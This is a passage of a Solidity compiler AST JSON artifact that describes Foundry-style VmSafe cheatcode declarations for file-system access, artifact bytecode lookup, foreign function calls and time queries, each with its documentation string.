etc."},"functionSelector":"af368a08","implemented":false,"kind":"function","modifiers":[],"name":"fsMetadata","nameLocation":"21659:10:13","parameters":{"id":12722,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12721,"mutability":"mutable","name":"path","nameLocation":"21686:4:13","nodeType":"VariableDeclaration","scope":12727,"src":"21670:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12720,"name":"string","nodeType":"ElementaryTypeName","src":"21670:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"21669:22:13"},"returnParameters":{"id":12726,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12725,"mutability":"mutable","name":"metadata","nameLocation":"21733:8:13","nodeType":"VariableDeclaration","scope":12727,"src":"21715:26:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_FsMetadata_$12115_memory_ptr","typeString":"struct VmSafe.FsMetadata"},"typeName":{"id":12724,"nodeType":"UserDefinedTypeName","pathNode":{"id":12723,"name":"FsMetadata","nameLocations":["21715:10:13"],"nodeType":"IdentifierPath","referencedDeclaration":12115,"src":"21715:10:13"},"referencedDeclaration":12115,"src":"21715:10:13","typeDescriptions":{"typeIdentifier":"t_struct$_FsMetadata_$12115_storage_ptr","typeString":"struct VmSafe.FsMetadata"}},"visibility":"internal"}],"src":"21714:28:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12735,"nodeType":"FunctionDefinition","src":"21852:101:13","nodes":[],"documentation":{"id":12728,"nodeType":"StructuredDocumentation","src":"21749:98:13","text":"Gets the creation bytecode from an artifact file. Takes in the relative path to the json file."},"functionSelector":"8d1cc925","implemented":false,"kind":"function","modifiers":[],"name":"getCode","nameLocation":"21861:7:13","parameters":{"id":12731,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12730,"mutability":"mutable","name":"artifactPath","nameLocation":"21885:12:13","nodeType":"VariableDeclaration","scope":12735,"src":"21869:28:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12729,"name":"string","nodeType":"ElementaryTypeName","src":"21869:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"21868:30:13"},"returnParameters":{"id":12734,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12733,"mutability":"mutable","name":"creationBytecode","nameLocation":"21935:16:13","nodeType":"VariableDeclaration","scope":12735,"src":"21922:29:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":12732,"name":"bytes","nodeType":"ElementaryTypeName","src":"21922:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"21921:31:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12743,"nodeType":"FunctionDefinition","src":"22062:108:13","nodes":[],"documentation":{"id":12736,"nodeType":"StructuredDocumentation","src":"21959:98:13","text":"Gets the deployed bytecode from an artifact file. Takes in the relative path to the json file."},"functionSelector":"3ebf73b4","implemented":false,"kind":"function","modifiers":[],"name":"getDeployedCode","nameLocation":"22071:15:13","parameters":{"id":12739,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12738,"mutability":"mutable","name":"artifactPath","nameLocation":"22103:12:13","nodeType":"VariableDeclaration","scope":12743,"src":"22087:28:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12737,"name":"string","nodeType":"ElementaryTypeName","src":"22087:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"22086:30:13"},"returnParameters":{"id":12742,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12741,"mutability":"mutable","name":"runtimeBytecode","nameLocation":"22153:15:13","nodeType":"VariableDeclaration","scope":12743,"src":"22140:28:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":12740,"name":"bytes","nodeType":"ElementaryTypeName","src":"22140:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"22139:30:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12751,"nodeType":"FunctionDefinition","src":"22276:68:13","nodes":[],"documentation":{"id":12744,"nodeType":"StructuredDocumentation","src":"22176:95:13","text":"Returns true if the path exists on disk and is pointing at a directory, else returns false."},"functionSelector":"7d15d019","implemented":false,"kind":"function","modifiers":[],"name":"isDir","nameLocation":"22285:5:13","parameters":{"id":12747,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12746,"mutability":"mutable","name":"path","nameLocation":"22307:4:13","nodeType":"VariableDeclaration","scope":12751,"src":"22291:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12745,"name":"string","nodeType":"ElementaryTypeName","src":"22291:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"22290:22:13"},"returnParameters":{"id":12750,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12749,"mutability":"mutable","name":"result","nameLocation":"22336:6:13","nodeType":"VariableDeclaration","scope":12751,"src":"22331:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12748,"name":"bool","nodeType":"ElementaryTypeName","src":"22331:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"22330:13:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12759,"nodeType":"FunctionDefinition","src":"22453:69:13","nodes":[],"documentation":{"id":12752,"nodeType":"StructuredDocumentation","src":"22350:98:13","text":"Returns true if the path exists on disk and is pointing at a regular file, else returns false."},"functionSelector":"e0eb04d4","implemented":false,"kind":"function","modifiers":[],"name":"isFile","nameLocation":"22462:6:13","parameters":{"id":12755,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12754,"mutability":"mutable","name":"path","nameLocation":"22485:4:13","nodeType":"VariableDeclaration","scope":12759,"src":"22469:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12753,"name":"string","nodeType":"ElementaryTypeName","src":"22469:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"22468:22:13"},"returnParameters":{"id":12758,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12757,"mutability":"mutable","name":"result","nameLocation":"22514:6:13","nodeType":"VariableDeclaration","scope":12759,"src":"22509:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12756,"name":"bool","nodeType":"ElementaryTypeName","src":"22509:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"22508:13:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12765,"nodeType":"FunctionDefinition","src":"22578:66:13","nodes":[],"documentation":{"id":12760,"nodeType":"StructuredDocumentation","src":"22528:45:13","text":"Get the path of the current project root."},"functionSelector":"d930a0e6","implemented":false,"kind":"function","modifiers":[],"name":"projectRoot","nameLocation":"22587:11:13","parameters":{"id":12761,"nodeType":"ParameterList","parameters":[],"src":"22598:2:13"},"returnParameters":{"id":12764,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12763,"mutability":"mutable","name":"path","nameLocation":"22638:4:13","nodeType":"VariableDeclaration","scope":12765,"src":"22624:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":12762,"name":"string","nodeType":"ElementaryTypeName","src":"22624:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"22623:20:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12775,"nodeType":"FunctionDefinition","src":"22892:89:13","nodes":[],"documentation":{"id":12766,"nodeType":"StructuredDocumentation","src":"22650:237:13","text":"Reads the directory at the given path recursively, up to `maxDepth`.\n `maxDepth` defaults to 1, meaning only the direct children of the given directory will be returned.\n Follows symbolic links if `followLinks` is true."},"functionSelector":"c4bc59e0","implemented":false,"kind":"function","modifiers":[],"name":"readDir","nameLocation":"22901:7:13","parameters":{"id":12769,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12768,"mutability":"mutable","name":"path","nameLocation":"22925:4:13","nodeType":"VariableDeclaration","scope":12775,"src":"22909:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12767,"name":"string","nodeType":"ElementaryTypeName","src":"22909:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"22908:22:13"},"returnParameters":{"id":12774,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12773,"mutability":"mutable","name":"entries","nameLocation":"22972:7:13","nodeType":"VariableDeclaration","scope":12775,"src":"22954:25:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_DirEntry_$12099_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.DirEntry[]"},"typeName":{"baseType":{"id":12771,"nodeType":"UserDefinedTypeName","pathNode":{"id":12770,"name":"DirEntry","nameLocations":["22954:8:13"],"nodeType":"IdentifierPath","referencedDeclaration":12099,"src":"22954:8:13"},"referencedDeclaration":12099,"src":"22954:8:13","typeDescriptions":{"typeIdentifier":"t_struct$_DirEntry_$12099_storage_ptr","typeString":"struct VmSafe.DirEntry"}},"id":12772,"nodeType":"ArrayTypeName","src":"22954:10:13","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_DirEntry_$12099_storage_$dyn_storage_ptr","typeString":"struct VmSafe.DirEntry[]"}},"visibility":"internal"}],"src":"22953:27:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12787,"nodeType":"FunctionDefinition","src":"23018:106:13","nodes":[],"documentation":{"id":12776,"nodeType":"StructuredDocumentation","src":"22987:26:13","text":"See `readDir(string)`."},"functionSelector":"1497876c","implemented":false,"kind":"function","modifiers":[],"name":"readDir","nameLocation":"23027:7:13","parameters":{"id":12781,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12778,"mutability":"mutable","name":"path","nameLocation":"23051:4:13","nodeType":"VariableDeclaration","scope":12787,"src":"23035:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12777,"name":"string","nodeType":"ElementaryTypeName","src":"23035:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12780,"mutability":"mutable","name":"maxDepth","nameLocation":"23064:8:13","nodeType":"VariableDeclaration","scope":12787,"src":"23057:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":12779,"name":"uint64","nodeType":"ElementaryTypeName","src":"23057:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"23034:39:13"},"returnParameters":{"id":12786,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12785,"mutability":"mutable","name":"entries","nameLocation":"23115:7:13","nodeType":"VariableDeclaration","scope":12787,"src":"23097:25:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_DirEntry_$12099_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.DirEntry[]"},"typeName":{"baseType":{"id":12783,"nodeType":"UserDefinedTypeName","pathNode":{"id":12782,"name":"DirEntry","nameLocations":["23097:8:13"],"nodeType":"IdentifierPath","referencedDeclaration":12099,"src":"23097:8:13"},"referencedDeclaration":12099,"src":"23097:8:13","typeDescriptions":{"typeIdentifier":"t_struct$_DirEntry_$12099_storage_ptr","typeString":"struct VmSafe.DirEntry"}},"id":12784,"nodeType":"ArrayTypeName","src":"23097:10:13","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_DirEntry_$12099_storage_$dyn_storage_ptr","typeString":"struct VmSafe.DirEntry[]"}},"visibility":"internal"}],"src":"23096:27:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12801,"nodeType":"FunctionDefinition","src":"23161:148:13","nodes":[],"documentation":{"id":12788,"nodeType":"StructuredDocumentation","src":"23130:26:13","text":"See `readDir(string)`."},"functionSelector":"8102d70d","implemented":false,"kind":"function","modifiers":[],"name":"readDir","nameLocation":"23170:7:13","parameters":{"id":12795,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12790,"mutability":"mutable","name":"path","nameLocation":"23194:4:13","nodeType":"VariableDeclaration","scope":12801,"src":"23178:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12789,"name":"string","nodeType":"ElementaryTypeName","src":"23178:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12792,"mutability":"mutable","name":"maxDepth","nameLocation":"23207:8:13","nodeType":"VariableDeclaration","scope":12801,"src":"23200:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":12791,"name":"uint64","nodeType":"ElementaryTypeName","src":"23200:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"},{"constant":false,"id":12794,"mutability":"mutable","name":"followLinks","nameLocation":"23222:11:13","nodeType":"VariableDeclaration","scope":12801,"src":"23217:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12793,"name":"bool","nodeType":"ElementaryTypeName","src":"23217:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"23177:57:13"},"returnParameters":{"id":12800,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12799,"mutability":"mutable","name":"entries","nameLocation":"23300:7:13","nodeType":"VariableDeclaration","scope":12801,"src":"23282:25:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_DirEntry_$12099_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.DirEntry[]"},"typeName":{"baseType":{"id":12797,"nodeType":"UserDefinedTypeName","pathNode":{"id":12796,"name":"DirEntry","nameLocations":["23282:8:13"],"nodeType":"IdentifierPath","referencedDeclaration":12099,"src":"23282:8:13"},"referencedDeclaration":12099,"src":"23282:8:13","typeDescriptions":{"typeIdentifier":"t_struct$_DirEntry_$12099_storage_ptr","typeString":"struct VmSafe.DirEntry"}},"id":12798,"nodeType":"ArrayTypeName","src":"23282:10:13","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_DirEntry_$12099_storage_$dyn_storage_ptr","typeString":"struct VmSafe.DirEntry[]"}},"visibility":"internal"}],"src":"23281:27:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12809,"nodeType":"FunctionDefinition","src":"23407:83:13","nodes":[],"documentation":{"id":12802,"nodeType":"StructuredDocumentation","src":"23315:87:13","text":"Reads the entire content of file to string. `path` is relative to the project root."},"functionSelector":"60f9bb11","implemented":false,"kind":"function","modifiers":[],"name":"readFile","nameLocation":"23416:8:13","parameters":{"id":12805,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12804,"mutability":"mutable","name":"path","nameLocation":"23441:4:13","nodeType":"VariableDeclaration","scope":12809,"src":"23425:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12803,"name":"string","nodeType":"ElementaryTypeName","src":"23425:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"23424:22:13"},"returnParameters":{"id":12808,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12807,"mutability":"mutable","name":"data","nameLocation":"23484:4:13","nodeType":"VariableDeclaration","scope":12809,"src":"23470:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":12806,"name":"string","nodeType":"ElementaryTypeName","src":"23470:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"23469:20:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12817,"nodeType":"FunctionDefinition","src":"23588:88:13","nodes":[],"documentation":{"id":12810,"nodeType":"StructuredDocumentation","src":"23496:87:13","text":"Reads the entire content of file as binary. `path` is relative to the project root."},"functionSelector":"16ed7bc4","implemented":false,"kind":"function","modifiers":[],"name":"readFileBinary","nameLocation":"23597:14:13","parameters":{"id":12813,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12812,"mutability":"mutable","name":"path","nameLocation":"23628:4:13","nodeType":"VariableDeclaration","scope":12817,"src":"23612:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12811,"name":"string","nodeType":"ElementaryTypeName","src":"23612:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"23611:22:13"},"returnParameters":{"id":12816,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12815,"mutability":"mutable","name":"data","nameLocation":"23670:4:13","nodeType":"VariableDeclaration","scope":12817,"src":"23657:17:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":12814,"name":"bytes","nodeType":"ElementaryTypeName","src":"23657:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"23656:19:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12825,"nodeType":"FunctionDefinition","src":"23725:83:13","nodes":[],"documentation":{"id":12818,"nodeType":"StructuredDocumentation","src":"23682:38:13","text":"Reads next line of file to string."},"functionSelector":"70f55728","implemented":false,"kind":"function","modifiers":[],"name":"readLine","nameLocation":"23734:8:13","parameters":{"id":12821,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12820,"mutability":"mutable","name":"path","nameLocation":"23759:4:13","nodeType":"VariableDeclaration","scope":12825,"src":"23743:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12819,"name":"string","nodeType":"ElementaryTypeName","src":"23743:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"23742:22:13"},"returnParameters":{"id":12824,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12823,"mutability":"mutable","name":"line","nameLocation":"23802:4:13","nodeType":"VariableDeclaration","scope":12825,"src":"23788:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":12822,"name":"string","nodeType":"ElementaryTypeName","src":"23788:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"23787:20:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12833,"nodeType":"FunctionDefinition","src":"24067:93:13","nodes":[],"documentation":{"id":12826,"nodeType":"StructuredDocumentation","src":"23814:248:13","text":"Reads a symbolic link, returning the path that the link points to.\n This cheatcode will revert in the following situations, but is not limited to just these cases:\n - `path` is not a symbolic link.\n - `path` does not exist."},"functionSelector":"9f5684a2","implemented":false,"kind":"function","modifiers":[],"name":"readLink","nameLocation":"24076:8:13","parameters":{"id":12829,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12828,"mutability":"mutable","name":"linkPath","nameLocation":"24101:8:13","nodeType":"VariableDeclaration","scope":12833,"src":"24085:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12827,"name":"string","nodeType":"ElementaryTypeName","src":"24085:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"24084:26:13"},"returnParameters":{"id":12832,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12831,"mutability":"mutable","name":"targetPath","nameLocation":"24148:10:13","nodeType":"VariableDeclaration","scope":12833,"src":"24134:24:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":12830,"name":"string","nodeType":"ElementaryTypeName","src":"24134:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"24133:26:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12841,"nodeType":"FunctionDefinition","src":"24550:66:13","nodes":[],"documentation":{"id":12834,"nodeType":"StructuredDocumentation","src":"24166:379:13","text":"Removes a directory at the provided path.\n This cheatcode will revert in the following situations, but is not limited to just these cases:\n - `path` doesn't exist.\n - `path` isn't a directory.\n - User lacks permissions to modify `path`.\n - The directory is not empty and `recursive` is false.\n `path` is relative to the project root."},"functionSelector":"45c62011","implemented":false,"kind":"function","modifiers":[],"name":"removeDir","nameLocation":"24559:9:13","parameters":{"id":12839,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12836,"mutability":"mutable","name":"path","nameLocation":"24585:4:13","nodeType":"VariableDeclaration","scope":12841,"src":"24569:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12835,"name":"string","nodeType":"ElementaryTypeName","src":"24569:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12838,"mutability":"mutable","name":"recursive","nameLocation":"24596:9:13","nodeType":"VariableDeclaration","scope":12841,"src":"24591:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12837,"name":"bool","nodeType":"ElementaryTypeName","src":"24591:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"24568:38:13"},"returnParameters":{"id":12840,"nodeType":"ParameterList","parameters":[],"src":"24615:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12847,"nodeType":"FunctionDefinition","src":"24949:51:13","nodes":[],"documentation":{"id":12842,"nodeType":"StructuredDocumentation","src":"24622:322:13","text":"Removes a file from the filesystem.\n This cheatcode will revert in the following situations, but is not limited to just these cases:\n - `path` points to a directory.\n - The file doesn't exist.\n - The user lacks permissions to remove the file.\n `path` is relative to the project root."},"functionSelector":"f1afe04d","implemented":false,"kind":"function","modifiers":[],"name":"removeFile","nameLocation":"24958:10:13","parameters":{"id":12845,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12844,"mutability":"mutable","name":"path","nameLocation":"24985:4:13","nodeType":"VariableDeclaration","scope":12847,"src":"24969:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12843,"name":"string","nodeType":"ElementaryTypeName","src":"24969:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"24968:22:13"},"returnParameters":{"id":12846,"nodeType":"ParameterList","parameters":[],"src":"24999:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12857,"nodeType":"FunctionDefinition","src":"25107:91:13","nodes":[],"documentation":{"id":12848,"nodeType":"StructuredDocumentation","src":"25006:96:13","text":"Performs a foreign function call via terminal and returns the exit code, stdout, and stderr."},"functionSelector":"f45c1ce7","implemented":false,"kind":"function","modifiers":[],"name":"tryFfi","nameLocation":"25116:6:13","parameters":{"id":12852,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12851,"mutability":"mutable","name":"commandInput","nameLocation":"25141:12:13","nodeType":"VariableDeclaration","scope":12857,"src":"25123:30:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_string_calldata_ptr_$dyn_calldata_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":12849,"name":"string","nodeType":"ElementaryTypeName","src":"25123:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":12850,"nodeType":"ArrayTypeName","src":"25123:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"25122:32:13"},"returnParameters":{"id":12856,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12855,"mutability":"mutable","name":"result","nameLocation":"25190:6:13","nodeType":"VariableDeclaration","scope":12857,"src":"25173:23:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_FfiResult_$12133_memory_ptr","typeString":"struct VmSafe.FfiResult"},"typeName":{"id":12854,"nodeType":"UserDefinedTypeName","pathNode":{"id":12853,"name":"FfiResult","nameLocations":["25173:9:13"],"nodeType":"IdentifierPath","referencedDeclaration":12133,"src":"25173:9:13"},"referencedDeclaration":12133,"src":"25173:9:13","typeDescriptions":{"typeIdentifier":"t_struct$_FfiResult_$12133_storage_ptr","typeString":"struct VmSafe.FfiResult"}},"visibility":"internal"}],"src":"25172:25:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12863,"nodeType":"FunctionDefinition","src":"25263:60:13","nodes":[],"documentation":{"id":12858,"nodeType":"StructuredDocumentation","src":"25204:54:13","text":"Returns the time since unix epoch in milliseconds."},"functionSelector":"625387dc","implemented":false,"kind":"function","modifiers":[],"name":"unixTime","nameLocation":"25272:8:13","parameters":{"id":12859,"nodeType":"ParameterList","parameters":[],"src":"25280:2:13"},"returnParameters":{"id":12862,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12861,"mutability":"mutable","name":"milliseconds","nameLocation":"25309:12:13","nodeType":"VariableDeclaration","scope":12863,"src":"25301:20:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12860,"name":"uint256","nodeType":"ElementaryTypeName","src":"25301:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"25300:22:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12871,"nodeType":"FunctionDefinition","src":"25492:72:13","nodes":[],"documentation":{"id":12864,"nodeType":"StructuredDocumentation","src":"25329:158:13","text":"Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it does.\n `path` is relative to the project root."},"functionSelector":"897e0a97","implemented":false,"kind":"function","modifiers":[],"name":"writeFile","nameLocation":"25501:9:13","parameters":{"id":12869,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12866,"mutability":"mutable","name":"path","nameLocation":"25527:4:13","nodeType":"VariableDeclaration","scope":12871,"src":"25511:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12865,"name":"string","nodeType":"ElementaryTypeName","src":"25511:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12868,"mutability":"mutable","name":"data","nameLocation":"25549:4:13","nodeType":"VariableDeclaration","scope":12871,"src":"25533:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12867,"name":"string","nodeType":"ElementaryTypeName","src":"25533:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"25510:44:13"},"returnParameters":{"id":12870,"nodeType":"ParameterList","parameters":[],"src":"25563:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12879,"nodeType":"FunctionDefinition","src":"25742:77:13","nodes":[],"documentation":{"id":12872,"nodeType":"StructuredDocumentation","src":"25570:167:13","text":"Writes binary data to a file, creating a file if it does not exist, and entirely replacing its contents if it does.\n `path` is relative to the project 